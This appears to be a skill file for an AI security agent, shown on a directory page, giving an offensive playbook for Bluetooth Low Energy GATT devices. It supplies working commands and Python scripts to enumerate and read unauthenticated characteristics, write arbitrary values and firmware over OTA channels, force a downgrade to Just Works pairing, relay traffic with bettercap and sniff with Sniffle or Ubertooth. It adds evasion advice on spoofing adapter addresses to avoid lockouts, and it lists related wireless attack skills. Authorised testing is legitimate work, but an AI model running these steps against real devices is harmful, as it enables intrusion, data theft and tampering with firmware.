ble-gatt
GATT service/characteristic enumeration on BLE peripherals, unauthenticated read/write exploitation, pairing downgrade to Just Works, and over-the-air sniffing with Sniffle or Ubertooth. Covers firmware update channels, hidden debug services, and missing auth on sensitive characteristics.
- License 许可
- Apache-2.0
- 所属仓库
- Akapi895/raptix
- 最近更新
- 2026-11-06
- Stars
- ★ 0
- Forks
- 0
01 前言 Front Matter
- name
- ble-gatt
- metadata
- { "tags": "ble, gatt, bluetooth, pairing, sniffing, iot, embedded", "subdomain": "iot", "when_to_use": "BLE, GATT, Bluetooth Low Energy, characteristic, pairing, Just Works, Ubertooth, Sniffle, bleak, gatttool, nRF Connect, notify, indicate, write without response", "mitre_attack": "T1040, T1557, T1190, T1078" }
- description
- GATT service/characteristic enumeration on BLE peripherals, unauthenticated read/write exploitation, pairing downgrade to Just Works, and over-the-air sniffing with Sniffle or Ubertooth. Covers firmware update channels, hidden debug services, and missing auth on sensitive characteristics.
- allowed-tools
- Bash Read Write
03 SKILL.md 正文
BLE GATT Enumeration and Exploitation
BLE devices routinely expose sensitive GATT characteristics without authentication or encryption. Common wins: OTA firmware update channels, PIN entry characteristics, device configuration, and health sensor data — all accessible to any central within radio range.
Prerequisites
- Linux host with a BLE adapter (internal or USB: CSR 4.0 dongle, Bluefruit LE, or the eval board of the target SoC itself).
- Tools:
bluez(>=5.62),gatttool,bluetoothctl,hcitool,python3 -m pip install bleak(cross-platform async BLE library). - Passive sniffer (optional but high-value): Sniffle (TI CC1352 / CC26x2 dongle
- firmware) or Ubertooth One.
- Mobile: nRF Connect (Android/iOS) — fastest visual GATT browser; LightBlue on iOS.
Phase 1: Passive Discovery
# Identify advertising devices and their advertised UUIDs without connecting.
sudo hcitool lescan --duplicates 2>/dev/null | tee /tmp/ble_scan.txt
# Dump extended advertisement data (ADV_EXT, includes SID + periodic adv info).
sudo btmgmt find -l 2>/dev/null | grep -E "addr|name|uuid"
Using bleak for a structured scan:
import asyncio
from bleak import BleakScanner
async def scan():
devices = await BleakScanner.discover(timeout=10.0)
for d in devices:
print(f"{d.address} RSSI={d.rssi:4d} {d.name or '<anon>'} {list(d.metadata.get('uuids', []))}")
asyncio.run(scan())
Phase 2: Full GATT Enumeration (unauthenticated)
# Connect and dump all services/characteristics/descriptors.
# gatttool is deprecated but still widely available; use bleak for scripting.
gatttool -b <TARGET_MAC> -I
> connect
> primary # list services by UUID
> characteristics # list handles, properties, UUIDs
> char-desc # dump all descriptors
# Or with hcitool + gatttool one-liner:
gatttool -b <TARGET_MAC> --primary
gatttool -b <TARGET_MAC> --characteristics
Bleak full dump (preferred — handles BLE 5 extended):
import asyncio
from bleak import BleakClient
TARGET = "AA:BB:CC:DD:EE:FF"
async def dump_gatt():
async with BleakClient(TARGET) as client:
for svc in client.services:
print(f"\nService: {svc.uuid} ({svc.description})")
for char in svc.characteristics:
print(f" Char: {char.uuid} props={char.properties} handle=0x{char.handle:04x}")
if "read" in char.properties:
try:
val = await client.read_gatt_char(char.uuid)
print(f" Value: {val.hex()} ({val!r})")
except Exception as e:
print(f" Read error: {e}")
asyncio.run(dump_gatt())
Phase 3: Unauthenticated Write / Command Injection
# Write a raw value to a characteristic handle (gatttool).
# Value is hex bytes. Example: write 0x01 to handle 0x002a to enable notifications.
gatttool -b <TARGET_MAC> --char-write-req -a 0x002a -n 0100
# Write to a writable characteristic by UUID (bleak):
async def write_char(client, uuid, payload: bytes):
# Try write-with-response first; fall back to write-without-response.
props = client.services.get_characteristic(uuid).properties
if "write" in props:
await client.write_gatt_char(uuid, payload, response=True)
elif "write-without-response" in props:
await client.write_gatt_char(uuid, payload, response=False)
print(f"Wrote {payload.hex()} to {uuid}")
Common attack targets by characteristic UUID:
| UUID (16-bit) | Description | Attack |
|---|---|---|
| 0x2A19 | Battery Level | Read, establish baseline |
| 0x2A24 | Model Number | Info disclosure |
| 0x2A9D | Weight Scale | Sensor data w/o auth |
| Vendor 0xFF01-0xFF0F | OTA / DFU channel | Write firmware image |
| Vendor 0xFFF1 | Generic config | Write arbitrary config |
Phase 4: Pairing Downgrade — Just Works
Just Works pairing provides no MITM protection. Force it when the device advertises IO capabilities that allow stronger pairing (Passkey, OOB) but accepts a downgrade.
# In bluetoothctl: set agent to NoInputNoOutput to force Just Works.
bluetoothctl
agent NoInputNoOutput
default-agent
scan on
pair <TARGET_MAC> # pairing will complete with no key confirmation
trust <TARGET_MAC>
connect <TARGET_MAC>
After pairing, re-run GATT dump — some characteristics become readable only after bonding even when using Just Works.
MITM with Bettercap (BLE proxy)
# bettercap ble.recon + ble.enum — proxy-capable on supported adapters.
sudo bettercap -eval "ble.recon on; events.stream on"
# Enumerate target:
sudo bettercap -eval "ble.enum <TARGET_MAC>"
# Write via bettercap:
sudo bettercap -eval "ble.write <TARGET_MAC> <char-uuid> <hex-payload>"
Phase 5: Passive Sniffing with Sniffle
# Flash Sniffle firmware to a TI CC26x2R LaunchPad.
# https://github.com/nccgroup/Sniffle
# Follow a specific device (37/38/39 advertisement channels, then data channel).
python3 sniffle/sniffle_host.py -s /dev/ttyACM0 -a -l <TARGET_MAC> | tee /tmp/ble_capture.pcap
# Open in Wireshark (BLE dissector built-in):
wireshark /tmp/ble_capture.pcap
Ubertooth One — broadband BLE capture (less channel-following accuracy):
ubertooth-btle -f -A 37 -c /tmp/ble_ubertooth.pcap # follow on adv channel 37
ubertooth-btle -f -t <TARGET_MAC> -c /tmp/ble_ubertooth.pcap # follow by address
Evidence
Save all GATT dumps and captures:
EVIDENCE="/workspace/evidence/ble-gatt/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
# Dump GATT to JSON:
python3 dump_gatt.py > "$EVIDENCE/gatt_dump.json"
sha256sum "$EVIDENCE/gatt_dump.json" >> "$EVIDENCE/sha256.txt"
cp /tmp/ble_capture.pcap "$EVIDENCE/"
sha256sum "$EVIDENCE/ble_capture.pcap" >> "$EVIDENCE/sha256.txt"
Knowledge graph observation for a found credential/key:
kg_record(
'[{"kind": "Credential", "key": f"ble-gatt::{target_mac}",'
' "label": f"BLE GATT unauthenticated access {target_mac}",'
' "props": {"secret_type": "ble_characteristic",'
' "mac": target_mac,'
' "characteristic_uuid": char_uuid,'
' "raw_value": value_hex,'
' "pairing_method": "just_works_or_none",'
' "source": "bleak+gatttool"}}]'
)
OPSEC Notes
- BLE connection requests are logged by the peripheral's pairing database; repeated failed pairings may trigger a lockout or vendor alert.
- Just Works pairing is visible to the peripheral; if it keeps a bond list, a stale address may flag re-pairing attempts.
- Use
bdaddr(hciconfig bdaddr spoof) or the adapter's random-address mode (hciconfig hci0 leadv 3) to rotate your BD_ADDR between attempts. - Sniffle is passive — zero RF footprint beyond receiving. Prefer it when the RoE explicitly prohibits active probing.
- OTA/DFU channels: if you can write a firmware image, gate the test on explicit operator approval and a recovery plan (jtag/uart fallback) for the device.
References
- Sniffle: https://github.com/nccgroup/Sniffle
- bleak: https://github.com/hbldh/bleak
- BTLE-Sniffer / GATTacker historical MITM reference.
- nRF Connect mobile: fastest manual GATT browser for live engagement triage.
04 同仓库更多 Skills
wps-pixie-dust
WPS Pixie-Dust offline nonce attack (reaver -K / pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.
wpa3-sae
WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.
wpa2-psk
WPA/WPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer/SMB encryption mode in 2026.
wpa-enterprise-eap
WPA/WPA2/WPA3-Enterprise (802.1X/EAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.
krack-fragattacks
KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation/aggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.
evil-twin-karma
Evil-twin rogue AP with KARMA/Mana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK/open networks. Distinct from wpa-enterprise-eap which targets 802.1X.